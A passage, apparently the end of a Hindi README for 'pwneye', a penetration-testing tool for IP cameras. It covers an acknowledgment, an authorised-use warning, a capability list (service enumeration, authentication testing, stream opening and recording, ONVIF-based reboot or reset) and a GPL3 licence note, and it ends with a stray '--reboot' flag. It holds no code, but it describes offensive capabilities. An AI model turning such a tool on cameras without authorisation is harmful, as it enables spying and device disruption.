Darix Deros को परीक्षण के दौरान मदद करने और कई उपयोगी सुझाव साझा करने के लिए धन्यवाद, जिन्होंने टूल के कुछ हिस्सों में सुधार किया, जिसमें ONVIF डिस्कवरी वर्कफ़्लो भी शामिल है।
pwneye का उपयोग केवल उन संपत्तियों के विरुद्ध करें जिनके आप मालिक हैं या जिनका मूल्यांकन करने के लिए आपको स्पष्ट रूप से अधिकृत किया गया है।
यह टूल सेवाओं की एन्यूमरेट कर सकता है, प्रमाणीकरण का परीक्षण कर सकता है, स्ट्रीम खोल सकता है, वीडियो रिकॉर्ड कर सकता है, ONVIF प्रशासनिक सुविधाओं के साथ इंटरैक्ट कर सकता है, और पर्याप्त विशेषाधिकारों के साथ, लक्ष्य डिवाइस के व्यवहार को रीबूट, रीसेट, विकृत या अन्यथा बदल सकता है।
भले ही आपका लक्ष्य केवल साक्ष्य संग्रह हो, बार-बार RTSP प्रोबिंग नाजुक कैमरों को अस्थिर कर सकती है, और ONVIF क्रियाओं का तत्काल परिचालन प्रभाव हो सकता है।
यह परियोजना GNU GPL3 लाइसेंस के अंतर्गत वितरित की जाती है।
LICENSE.md देखें।
--reboot